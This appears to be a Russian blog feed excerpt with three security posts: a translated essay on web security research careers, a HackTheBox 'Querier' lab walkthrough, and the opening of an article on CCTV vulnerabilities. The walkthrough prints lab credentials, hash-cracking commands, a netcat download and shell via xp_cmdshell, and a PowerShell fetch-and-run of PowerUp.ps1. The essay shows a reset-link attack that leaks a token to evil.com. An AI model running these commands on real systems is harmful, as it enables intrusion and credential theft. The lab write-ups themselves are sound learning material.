  &lt;p&gt; Я рекомендую практико-ориентированный подход, начиная от &lt;a href=&quot;https://portswigger.net/web-security&quot; target=&quot;_blank&quot;&gt;Академии Сетевой Безопасности&lt;/a&gt;, переходя к более открытым задачам, таким, как на моем &lt;a href=&quot;https://hackxor.net/&quot; target=&quot;_blank&quot;&gt;hackxor.net&lt;/a&gt;, двигаться вперед сначала через простые задачи с маленьким вознаграждением за старания на &lt;a href=&quot;https://hackerone.com/&quot; target=&quot;_blank&quot;&gt;HackerOne&lt;/a&gt; и &lt;a href=&quot;https://bugcrowd.com/&quot; target=&quot;_blank&quot;&gt;BugCrowd&lt;/a&gt;, а затем, наконец, переходить на хорошо зарекомендовавшие себя щедрые программы по поиску уязвимостей с хорошими выплатами. После того, как вы найдете и проанализируете несколько уязвимостей, стать консультантом по информационной безопасности и каждый день проводить, взламывая новые сайты и веб-приложения должно быть несложно. &lt;/p&gt;
  &lt;p&gt; Есть множество бесплатных онлайн-ресурсов, которые послужат вам хорошую службу на этом пути, в том числе наша методология &lt;a href=&quot;https://support.portswigger.net/customer/portal/articles/2326039-the-burp-methodology&quot; target=&quot;_blank&quot;&gt;Burp&lt;/a&gt;, &lt;a href=&quot;https://www.hackerone.com/hacker101&quot; target=&quot;_blank&quot;&gt;Hacker 101&lt;/a&gt; от HackerOne и руководство по тестированию &lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents&quot; target=&quot;_blank&quot;&gt;OWASP&lt;/a&gt;. Что касается книг, я бы порекомендовал почитать &lt;a href=&quot;https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting-ebook/dp/B005LVQA9S&quot; target=&quot;_blank&quot;&gt;WebApp Hacker’s Handbook&lt;/a&gt; и &lt;a href=&quot;https://nostarch.com/tangledweb&quot; target=&quot;_blank&quot;&gt;The Tangled Web&lt;/a&gt;. &lt;/p&gt;
  &lt;p&gt;Вышеупомянутая &lt;a href=&quot;https://portswigger.net/web-security&quot; target=&quot;_blank&quot;&gt;Академия Сетевой Безопасности&lt;/a&gt; предназначена для интерактивного использования в качестве замены WebApp Hacker&amp;#x27;s Handbook, но нам потребуется некоторое время, чтобы охватить все необходимые темы, поэтому на данный момент я бы порекомендовал использовать оба источника.&lt;/p&gt;
  &lt;h3&gt;Выход за рамки известных методов&lt;/h3&gt;
  &lt;p&gt; Как только вы начнете работать и весь свой рабочий день будете заниматься взломами, вы поймете уровень нагрузки, через какое-то время ваш опыт будет обширным и новые знания будут даваться тяжело. На этом этапе самый важный шаг – это не позволить себе остановиться на достигнутом и продолжать учиться и практиковаться. Только так вы станете настоящим специалистом.&lt;/p&gt;
  &lt;h3&gt;Охота за забытыми знаниями&lt;/h3&gt;
  &lt;p&gt; Все понимают, что нужно идти в ногу с новыми разработками и мониторить &lt;a href=&quot;https://twitter.com/albinowax/following&quot; target=&quot;_blank&quot;&gt;отраслевых экспертов&lt;/a&gt;, новостных &lt;a href=&quot;https://www.reddit.com/r/netsec/&quot; target=&quot;_blank&quot;&gt;агрегаторов&lt;/a&gt; и посещать конференции по безопасности. Однако следить исключительно за новыми разработками значит не замечать те драгоценные знания и исследования, которые были сделаны давным-давно и забыты.&lt;/p&gt;
  &lt;p&gt; Каждый раз, когда вы находите хорошую статью в блоге, не скупитесь на время – прочтите весь архив. Там часто скрываются бесценные и забытые фрагменты информации. Например, возьмите вот эту &lt;a href=&quot;https://web.archive.org/web/20110403015721/http://ha.ckers.org:80/blog/20091201/dns-rebinding-video/&quot; target=&quot;_blank&quot;&gt;статью&lt;/a&gt; от RSnake о перепривязывании DNS, написанную в 2009 году. Перепривязывание DNS обходит контроли доступа на основе IP/брандмауэра на веб-сайтах, при этом единственный эффективный способ избежать его – это добавить ваше приложение в белый список в HTTP-заголовка Host. Люди быстро решили, что браузеры вполне с этим справляются, и вот девять лет спустя с новой чередой &lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=1524&quot; target=&quot;_blank&quot;&gt;эксплойтов&lt;/a&gt; стало понятно, что эта уязвимость вновь начала использоваться. &lt;/p&gt;
  &lt;p&gt; Просмотр архивов также поможет вам не изобретать велосипед, который уже изобрел кто-то другой, например, как было с повторным &lt;a href=&quot;https://twitter.com/LiveOverflow/status/967122565058715648&quot; target=&quot;_blank&quot;&gt;изобретением&lt;/a&gt; CSS атаки десять лет спустя. Тем не менее, некоторые исследования действительно трудно найти, поэтому случайное их дублирование неизбежно. Однажды я опубликовал исследование и обнаружил, что kuza55 уже делал то же самое пять лет назад. Поэтому делайте все возможное, чтобы избежать дублирования исследований, но, если такое случится – не паникуйте, со всеми бывает.&lt;/p&gt;
  &lt;h3&gt;Собирайте редкости&lt;/h3&gt;
  &lt;p&gt; Чтобы связать темы и определить возможности, которые упускают другие люди, очень важно собирать информацию из различных источников. Для начала, не ограничивайте себя в чтении контента по информационной безопасности; вы быстро найдете &lt;a href=&quot;http://blog.portswigger.net/2015/08/server-side-template-injection.html#FreeMarker&quot; target=&quot;_blank&quot;&gt;документацию&lt;/a&gt;, которая послужит руководством для создания эксплойта. Опять же, и следующий совет может быть довольно очевидным, но перед тем как лезть в Google или пытаться сформулировать &lt;a href=&quot;https://www.corelan.be/index.php/2015/10/13/how-to-become-a-pentester/&quot; target=&quot;_blank&quot;&gt;вопрос&lt;/a&gt; в Twitter/Reddit/StackOverflow, убедитесь в том, что спросили у своих коллег. Часто бывает, что необходимые знания где-то рядом, но некоторые люди просто не делятся ими публично.&lt;/p&gt;
  &lt;p&gt; Кроме того, постарайтесь сохранять разнообразие и в своем опыте.&lt;/p&gt;
  &lt;p&gt; Выполнения black-box тестирований на проникновение для консультаций по информационной безопасности должно предоставить вам широкий спектр внешних и внутренних веб-приложений, с которыми вы может быть никогда и не встретитесь в программе bug bounty. Однако ограничение по времени помешает вам углубиться в такой уровень понимания приложения, который приходит за месяцы bug bounty за одной целью. Несмотря на то, что это медленный и ограниченный процесс, обзор white-box исходного кода может предложить альтернативную перспективу атаки, о которой black-box пентестер даже не подумал бы. Чтобы развиваться как аналитик, вам нужно сочетать все три методики работы. Дополнительные возможности, такие как игры в CTF и написание веб-приложений также расширят ваши перспективы. &lt;/p&gt;
  &lt;h3&gt;Не существует слишком глупых идей&lt;/h3&gt;
  &lt;p&gt; Одна из худших ловушек, в которую можно угодить – это отбросить отличную идею, предполагая, что она точно не сработает, и так и не попробовать ее, потому что «кто-то другой уже точно бы это заметил» или «она слишком глупая, чтобы сработать». Я раньше таким страдал, до такой степени, что одна часть исследования проявилась на два года позже, чем должна была. Нет разницы, обход ли это &lt;a href=&quot;https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/&quot; target=&quot;_blank&quot;&gt;аутентификации&lt;/a&gt; повторным вводом одного и того же пароля, или же &lt;a href=&quot;https://medium.com/bugbountywriteup/bypassing-googles-fix-to-access-their-internal-admin-panels-12acd3d821e3&quot; target=&quot;_blank&quot;&gt;взлом&lt;/a&gt; страницы администрирования Google с телефона, вместо ноутбука, ведь следующий значимый эксплойт может родиться из действительно дурацкой идеи.&lt;/p&gt;
  &lt;h3&gt;Откажитесь от комфорта&lt;/h3&gt;
  &lt;p&gt; Если какая-то технология считается сложной, неудобной или опасной – это явно тема, нуждающаяся в проведении исследований. После многократного опыта настоящих прорывов после занятия темами, которые находятся далеко за пределами моей зоны комфорта, я решил, что самый быстрый путь к новым открытиям – это активный поиск тем, которые заставляют меня чувствовать себя некомфортно. Скорее всего, этих тем избегают и другие хакеры, давая им серьезный исследовательский потенциал. Для меня это единственное правдоподобное объяснение тому, почему я смог взять технику, впервые задокументированную в 2005 году, и снова представленную на DEF CON в 2016 году, и использовать ее чтобы заработать 70 тыс. долларов на bug bounty в 2019 году.&lt;/p&gt;
  &lt;h3&gt;Повторять, изобретать, делиться&lt;br /&gt; Повторять&lt;/h3&gt;
  &lt;p&gt; Самый простой способ начать работу – найти чье-либо перспективное исследование, построить на его базе нечто свое, смешивая какие-то методы, а затем попробовать применить свой новый подход в полевых условиях, и посмотреть, не случится ли чего интересного. Например, вот эта &lt;a href=&quot;https://ejj.io/misconfigured-cors/index.html&quot; target=&quot;_blank&quot;&gt;статья&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt; о неправильной конфигурации CORS, указала на интересное поведение и в ней говорилось о том, что такое поведение крайне распространено, но автор на этом остановился и не изучал влияния на отдельные веб-сайты.&lt;/p&gt;
  &lt;p&gt; Я взял за основу предложенную концепцию и применил ее к bug bounty сайтам, на которых я мог вполне легально экспериментировать и пробовать свои силы в уклонении от всех возможных способов защиты на них представленных. По пути я кое-что улучшил, использовав известные методы эксплойта open redirect, наконец обнаружил происхождение “null”, прочитав документацию CORS, и изучил возможности отравления кэша. &lt;/p&gt;
  &lt;p&gt; В этом процессе не было ничего, что требовало бы невероятной интуиции или выдающихся технических знаний, тем не менее был с легкостью получен конечный результат – эксплуатация CORS misconfigurations для биткойнов и &lt;a href=&quot;https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties&quot; target=&quot;_blank&quot;&gt;bounty&lt;/a&gt;.&lt;/p&gt;
  &lt;h3&gt;Изобретать&lt;/h3&gt;
  &lt;p&gt; Повторение работ других людей – это круто, но самые крутые исследования берут свое начало буквально из ниоткуда, будь то перезапись относительного &lt;a href=&quot;http://www.thespanner.co.uk/2014/03/21/rpo/&quot; target=&quot;_blank&quot;&gt;пути&lt;/a&gt; или отравление кэша &lt;a href=&quot;https://omergil.blogspot.co.uk/2017/02/web-cache-deception-attack.html&quot; target=&quot;_blank&quot;&gt;веб-приложений&lt;/a&gt;. Я считаю, что такие открытия вызваны личными переживаниями, которые складываются в подсказки. Я называю их «ведущими переживаниями» или «хлебными крошками», поскольку они порой таинственны и их может понадобиться множество, чтобы привести вас к полезному открытию.&lt;/p&gt;
  &lt;p&gt; Например, в 2011 году я пытался взломать защиту &lt;a href=&quot;https://portswigger.net/web-security/csrf&quot; target=&quot;_blank&quot;&gt;CSRF&lt;/a&gt;, которую использовали в &lt;code&gt;addons.mozilla.org&lt;/code&gt;. Я обошел проверку токенов, но они еще проверяли, чтобы хост в заголовке Referer соответствовал текущему сайту. Я обратился за помощью на форум &lt;code&gt;sla.ckers&lt;/code&gt;, и &lt;code&gt;‘barbarianbob’&lt;/code&gt; сказал, что Django определяет хост текущего сайта, глядя на значение поля Host в заголовках HTTP, и он может быть переопределен заголовком X-Forwarded-Host. Эту мысль можно было объединить с идеей уязвимости внедрения заголовков в Flash, чтобы обойти проверку CSRF, но что было еще важнее – то была первая хлебная крошка. Именно она привела к мысли, что приложения могут полагаться на заголовок хост, чтобы определить текущее местоположение.&lt;/p&gt;
  &lt;p&gt; Некоторое время спустя я взглянул на исходный код функции сброса пароля Piwik и нашел строку, которая выглядела примерно так:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;$passwordResetLink = getCurrentUrlWithoutQueryString() + $secretToken&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt; Ага, подумал я. Piwik использует PHP, который очень весело обрабатывает путь, поэтому я могу запросить сброс пароля по адресу &lt;a href=&quot;http://piwik.com/reset.php/foo;http&quot; target=&quot;_blank&quot;&gt;piwik.com/reset.php/foo;http&lt;/a&gt;://evil.com, в результате я получаю электронное письмо с двумя ссылками, и секретный токен отправляется на &lt;code&gt;evil.com&lt;/code&gt;. Эта идея сработала, принесла мне выгоду и заложила фундамент для последующих исканий.&lt;/p&gt;
  &lt;p&gt; Третья и последняя крошка заключалась в том, как Piwik попытался исправить эту уязвимость. Они заменили &lt;code&gt;getCurrentUrlWithoutQueryString()&lt;/code&gt; на &lt;code&gt;getCurrentUrlWithoutFileName()&lt;/code&gt;. Это означало, что я больше не могу использовать свой способ для эксплойта. Благодаря тому, что я уже был знаком с Django, я решил углубиться в код и узнать, как Piwik определил, каким является текущее имя хоста. Я обнаружил, что, как и Django, они использовали хост-заголовок, а это значило, что я мог легко генерировать отправленные письма для сброса пароля. Как оказалось, этот прием сработал на &lt;code&gt;addons.mozilla.org&lt;/code&gt; и Gallery, и Symfony, и Drupal, и целом ряде других сайтов. В итоге это привело к практике атак с подменой HTTP-заголовка &lt;a href=&quot;https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html&quot; target=&quot;_blank&quot;&gt;Host&lt;/a&gt;. &lt;/p&gt;
  &lt;p&gt; Описывая появление открытий так многословно, надеюсь, я смог развеять тайну вокруг процесса исследования и показать его непохожим на спонтанную идею из ниоткуда. С такой точки зрения, кажется, что основной навык (помимо имеющихся знаний и опыта) заключается в распознавании таких хлебных крошек и следовании по пути, который они указывают. Я не могу доступно сформулировать как это делать, но я знаю, как нужно рассматривать те вещи, которые заставляют вас раз за разом говорить «это бессмысленно». &lt;/p&gt;
  &lt;h3&gt;Делиться&lt;/h3&gt;
  &lt;p&gt; Важно делиться своими исследованиями с сообществом. Это поможет увеличить ваше портфолио и, возможно, сподвигнет вашего работодателя выделять вам больше рабочего времени на исследования. Кроме того, это поможет вам избежать потери времени и стимулировать дальнейшие исследования. Критика ваших работ и комментарии к ним могут помочь увидеть то, чего вы раньше не замечали. Также нет ничего более полезного, чем видеть, как другой аналитик разрабатывает свои методики на основе ваших.&lt;/p&gt;
  &lt;p&gt; Пожалуйста, не думайте, что технологией или идеей не стоит делиться только потому, что она не является новаторской. Два логотипа и презентация – публикуйте все, что у вас есть (в идеале – в блоге, а не на какой-либо плохоиндексируемой закрытой платформе, как Twitter).&lt;/p&gt;
  &lt;p&gt; Когда вы делитесь исследованием, всегда полезно показать пример применения вашего метода на реальном веб-приложении. Без этого у людей неизбежно возникнут трудности с его пониманием, и они могут усомниться в его практической ценности.&lt;/p&gt;
  &lt;p&gt; Наконец, презентации отлично подходят для охвата более широкой аудитории, но не &lt;a href=&quot;https://twitter.com/lcamtuf/status/939668596430475264&quot; target=&quot;_blank&quot;&gt;попадайте&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt; в замкнутый круг и не тратьте свое время на бесконечное повторение прошлых презентаций.&lt;/p&gt;
  &lt;h3&gt;Заключение&lt;/h3&gt;
  &lt;p&gt; Мне и самому еще многое предстоит узнать о сетевой безопасности, поэтому я бы вернулся к этой теме несколько лет спустя со свежим взглядом и новыми идеями. Кроме того, я знаю, что у других аналитиков могут быть другие точки зрения, и с нетерпением жду идей, которыми они могут поделиться.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Краткое содержание моих советов о том, как стать аналитиком в области сетевой безопасности:&lt;/strong&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Ищите забытые знания и читайте архивные записи;&lt;/li&gt;
    &lt;li&gt;Получайте информацию из как можно большего числа различных источников;&lt;/li&gt;
    &lt;li&gt;Углубляйтесь в сложные и «страшные» темы;&lt;/li&gt;
    &lt;li&gt;Повторяйте, изобретайте, делитесь;&lt;/li&gt;
    &lt;li&gt;Не существует слишком глупых идей.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt; Итак, если вы ищете с чего начать, я могу посоветовать вам нашу ежегодную подборку десяти лучших техник &lt;a href=&quot;https://portswigger.net/blog/top-10-web-hacking-techniques-of-2018&quot; target=&quot;_blank&quot;&gt;веб-хакинга&lt;/a&gt;. В дополнение к этому я создал список различных &lt;a href=&quot;https://skeletonscribe.net/#inspiration&quot; target=&quot;_blank&quot;&gt;блогов&lt;/a&gt;, которые вдохновляли меня многие годы. Удачи вам в исследованиях и получайте удовольствие!&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;Перевел статью: &lt;a href=&quot;https://habr.com/users/MaxRokatansky/&quot; target=&quot;_blank&quot;&gt;https://habr.com/users/MaxRokatansky/&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Оригинал на английском: &lt;a href=&quot;https://portswigger.net/blog/so-you-want-to-be-a-web-security-researcher&quot; target=&quot;_blank&quot;&gt;https://portswigger.net/blog/so-you-want-to-be-a-web-security-researcher&lt;/a&gt;&lt;/p&gt;
  &lt;h3&gt;by @it_ha&lt;/h3&gt;

</content></entry><entry><id>it_ha:ByW_HByUH</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha/ByW_HByUH?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><title>Прохождение «Hackthebox — Querier»</title><published>2019-09-06T02:33:12.701Z</published><updated>2019-09-06T02:33:22.870Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/39/393bbdd3-7ee1-4e3b-bf7a-1a745a1fb963.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/4c/4cf2d0f2-63bf-485c-9b90-85c2a3671f31.png&quot;&gt; Для тех, кто не знает, что такое hackthebox — это портал, на котором вы можете проверить свои умения пентеста на практике, имеются CTF таски и собственно лабораторные машины.</summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/4c/4cf2d0f2-63bf-485c-9b90-85c2a3671f31.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt; Для тех, кто не знает, что такое hackthebox — это портал, на котором вы можете проверить свои умения пентеста на практике, имеются CTF таски и собственно лабораторные машины.&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;В правилах сервиса написано: «&lt;strong&gt;Dont share how you hacked each machine with other members. This includes the invite code generation and all challenges&lt;/strong&gt;». Но так как эта машина уже не активна и хранится в разделе «&lt;strong&gt;Retired Machines&lt;/strong&gt;», доступ к ней имеют только VIP-участники.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/vq/ed/2p/vqed2pfxflqjfxvcwxqwoxlepjw.png&quot; width=&quot;479&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Сбор информации&lt;/h3&gt;
  &lt;p&gt; Начнем разведку с запуска сканирования портов с помощью nmap.&lt;/p&gt;
  &lt;pre&gt;nmap –sC –Pn –A 10.10.10.125&lt;/pre&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/ww/cq/cs/wwcqcsox6nngnzfkvkpgiyq07si.png&quot; width=&quot;895&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Перечислим найденные порты.&lt;/p&gt;
  &lt;h3&gt;Enumerate 139/445/tcp (smb)&lt;/h3&gt;
  &lt;p&gt; Воспользуемся утилитой smbclient для доступа к SMB ресурсам сервера.&lt;/p&gt;
  &lt;pre&gt;smbclient –L //10.10.10.125&lt;/pre&gt;
  &lt;p&gt; Пройдясь по всем ресурсам, находим в директории Reports файл “Currency Volume Report.xlsm”.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/op/c9/ap/opc9ap3a8hqwhveqvzz-xdh5e3i.png&quot; width=&quot;824&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Если открыть этот файл стандартным Microsoft Excel, то он окажется &lt;s&gt;на первый взгляд&lt;/s&gt; совершенно пустым. Проанализируем файл, используя утилиту &lt;strong&gt;&lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; target=&quot;_blank&quot;&gt;binwalk&lt;/a&gt;&lt;/strong&gt;, которая поможет взглянуть на встроенные файлы xlsm- документа.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/or/d3/de/ord3deo3azftc6ez9qpzmvitgje.png&quot; width=&quot;1123&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Из вывода binwalk обнаружили несколько интересных файлов, содержащихся в xlsm.&lt;/p&gt;
  &lt;p&gt; Используя флаг –e, распакуем его.&lt;/p&gt;
  &lt;pre&gt;binwalk –e Currency\ Volume\ Report.xlsm&lt;/pre&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/wi/vu/bq/wivubqmptbuto-wxlhlbyy58jh4.png&quot; width=&quot;584&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Теперь воспользуемся утилитой &lt;strong&gt;&lt;a href=&quot;https://linux.die.net/man/1/strings&quot; target=&quot;_blank&quot;&gt;strings &lt;/a&gt;&lt;/strong&gt; для вывода печатных символов. Пробежавшись по файлам, находим интересные данные в vbaProject.bin. Похоже, что мы нашли учетные данные для mssql server’а. &lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/am/8q/bx/am8qbx-ummecwgqgeewiixoy_sw.png&quot; width=&quot;1086&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Подытожим полученную информацию на текущий момент:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Мы знаем, что на порту 10.10.10.125:1433 крутится mssql server;&lt;/li&gt;
    &lt;li&gt;У нас есть учетные данные от пользователя mssql server.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt; Так давайте попробуем подсоединиться к серверу, используя скрипт из модуля &lt;a href=&quot;https://github.com/SecureAuthCorp/impacket&quot; target=&quot;_blank&quot;&gt;impacket&lt;/a&gt;.&lt;/p&gt;
  &lt;pre&gt;python mssqlclient.py QUERIER/reporting:&amp;#x27;PcwTWTHRwryjc$c6&amp;#x27;@10.10.10.125 -windows-auth&lt;/pre&gt;
  &lt;p&gt; Получаем доступ к MsSQL.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/2j/ff/ft/2jffftgea-_n4gr5ydykaye7epo.jpeg&quot; width=&quot;509&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Enumerate MsSQL&lt;/h3&gt;
  &lt;p&gt; Перечислим полезную для нас информацию, используя команды из &lt;a href=&quot;https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/&quot; target=&quot;_blank&quot;&gt;статьи&lt;/a&gt;.&lt;/p&gt;
  &lt;p&gt; Выполнив SQLi, получаем хеш от пароля пользователя mssql-svc.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/bs/d8/y2/bsd8y2jtdscxcuplenw3zctddsq.png&quot; width=&quot;1120&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Чтобы получить пароль в явном виде, необходимо его сбрутить, используя любой удобный для вас инструмент.&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;&lt;code&gt;john --format=netntlmv2 hash.txt&lt;/code&gt;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;hashcat -m 5600 -a 3 hash.txt&lt;/code&gt;&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;&lt;em&gt;Получаем пароль от mssql-svc&lt;/em&gt;. Подключаемся к SQL с новыми &lt;s&gt;кредитами&lt;/s&gt; учетными данными.&lt;/p&gt;
  &lt;pre&gt;python mssqlclient.py QUERIER/mssql-svc:&amp;#x27;corporate568&amp;#x27;@10.10.10.125 -windows-auth&lt;/pre&gt;
  &lt;p&gt; Права этого пользователя позволяют нам выполнять &lt;a href=&quot;https://docs.microsoft.com/ru-ru/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017&quot; target=&quot;_blank&quot;&gt;xp_cmdshell&lt;/a&gt;&lt;/p&gt;
  &lt;blockquote&gt;Вместе с MsSQL поставляется большой набор расширенных хранимых процедур. Наиболее интересная из них — xp_cmdshell. Она предоставляет доступ к командной строке операционной системы.&lt;/blockquote&gt;
  &lt;h3&gt;Получаем reverse shell&lt;/h3&gt;
  &lt;p&gt; Пробуем получить оболочку через netcat, для этого нам необходимо загрузить его на атакуемый сервер. &lt;/p&gt;
  &lt;p&gt; Переходим в директорию на нашей машине, где находится netcat и запускаем:&lt;/p&gt;
  &lt;pre&gt;python –m SimpleHTTPServer&lt;/pre&gt;
  &lt;p&gt; В оболочке mssql для загрузки netcat (nc.exe) на удаленный сервер, выполняем команду powershell, указав путь сохранения.&lt;/p&gt;
  &lt;pre&gt;xp_cmdshell &amp;quot;powershell.exe Invoke-WebRequest &amp;quot;http://10.10.x.x:8000/nc.exe&amp;quot; –
OutFile &amp;quot;C:\Users\mssql-svc\Desktop\nc.exe&amp;quot; &amp;quot;
&lt;/pre&gt;
  &lt;p&gt; Запускаем netcat на прослушивание порта 4444.&lt;/p&gt;
  &lt;pre&gt;xp_cmdshell &amp;quot;powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe&amp;quot; &lt;/pre&gt;
  &lt;p&gt; Запускаем на своей стороне netcat, указав ip и порт, атакуемого сервера и получаем оболочку.&lt;/p&gt;
  &lt;pre&gt;nc 10.10.10.125 4444&lt;/pre&gt;
  &lt;p&gt; Запускаем &lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1&quot; target=&quot;_blank&quot;&gt;скрипт от PowerShellMafia &lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;для повышения привилегий.&lt;/p&gt;
  &lt;pre&gt;powershell.exe IEX (New-Object Net.WebClient).DownloadString(\&amp;quot;http://10.10.x.x:8000/PowerUp.ps1\&amp;quot;); Invoke-AllChecks&lt;/pre&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/2g/ae/ty/2gaety4o2quiuqhbyste0mxcwma.png&quot; width=&quot;937&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; В результате выполнения скрипта получили учетные данные администратора.&lt;/p&gt;
  &lt;p&gt; Заходим на ресурсы smb с новыми учетными данными и полномочиями.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/eg/sd/0q/egsd0qbpbkjkozjcu_e_qfxkujw.png&quot; width=&quot;859&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/vr/wb/w6/vrwbw6u9vmdn5af2zcyld-uoz60.png&quot; width=&quot;1107&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Забираем флаг root.txt. Победа!&lt;/p&gt;
  &lt;p&gt;Автор: &lt;a href=&quot;https://habr.com/ru/users/yrbrv/&quot; target=&quot;_blank&quot;&gt;yrbrv.&lt;/a&gt;&lt;/p&gt;
  &lt;h3&gt;By @it_ha&lt;/h3&gt;

</content></entry><entry><id>it_ha:SksbQpBSr</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha/SksbQpBSr?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><title>Какие уязвимости есть у систем видеонаблюдения</title><published>2019-08-29T21:26:26.631Z</published><updated>2019-08-29T21:27:32.402Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/9a/9ac64e3e-6fbe-4099-b406-957123698ffb.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/33/3336c82c-a5da-42ea-86a7-9e039f7c5054.png&quot;&gt; Найти кусочек земной поверхности, не попадающий в поле зрения какой-либо камеры, становится всё сложнее, если говорить о более-менее крупных городах. Кажется, ещё немного, и настанет то самое светлое будущее, в котором преступники не смогут скрыться от бдительного правосудия, а люди заживут счастливо и беззаботно, ведь ещё в 2009 году в 95% случаев Скотланд-Ярд использовал записи камер видеонаблюдения в качестве доказательства вины убийц. К сожалению, эта утопия далека от реальности. И не в последнюю очередь потому, что камеры наблюдения имеют уязвимости. Поговорим о том, какие уязвимости наиболее часто встречаются в системах видеонаблюдения, обсудим их причины и рассмотрим способы сделать эксплуатацию таких устройств безопаснее.</summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/33/3336c82c-a5da-42ea-86a7-9e039f7c5054.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt; Найти кусочек земной поверхности, не попадающий в поле зрения какой-либо камеры, становится всё сложнее, если говорить о более-менее крупных городах. Кажется, ещё немного, и настанет то самое светлое будущее, в котором преступники не смогут скрыться от бдительного правосудия, а люди заживут счастливо и беззаботно, ведь ещё в 2009 году в 95% случаев Скотланд-Ярд использовал записи камер видеонаблюдения в качестве доказательства вины убийц. К сожалению, эта утопия далека от реальности. И не в последнюю очередь потому, что камеры наблюдения имеют уязвимости. Поговорим о том, какие уязвимости наиболее часто встречаются в системах видеонаблюдения, обсудим их причины и рассмотрим способы сделать эксплуатацию таких устройств безопаснее.&lt;/p&gt;
  &lt;p&gt; Количество камер видеонаблюдения стремительно растёт во всём мире. &lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://www.disnetwork.co.uk/12-facts-cctv-surveillance-uk/&quot; target=&quot;_blank&quot;&gt;В Великобритании насчитывается около 185 млн глаз Большого Брата&lt;/a&gt;. Более полумиллиона из них наблюдают за жителями Лондона. &lt;a href=&quot;http://www.techportal.ru/251858&quot; target=&quot;_blank&quot;&gt;На 14 человек приходится одна камера&lt;/a&gt;. На втором месте среди европейских городов находится Москва. В течение 2019 года количество камер превысит 174 тысячи, причём часть их уже подключена к системе распознавания лиц. До конца года &lt;a href=&quot;https://www.mos.ru/news/item/51233073/&quot; target=&quot;_blank&quot;&gt;на автоматизированное распознавание будут направляться более 100 тысяч видеопотоков.&lt;/a&gt;&lt;/p&gt;
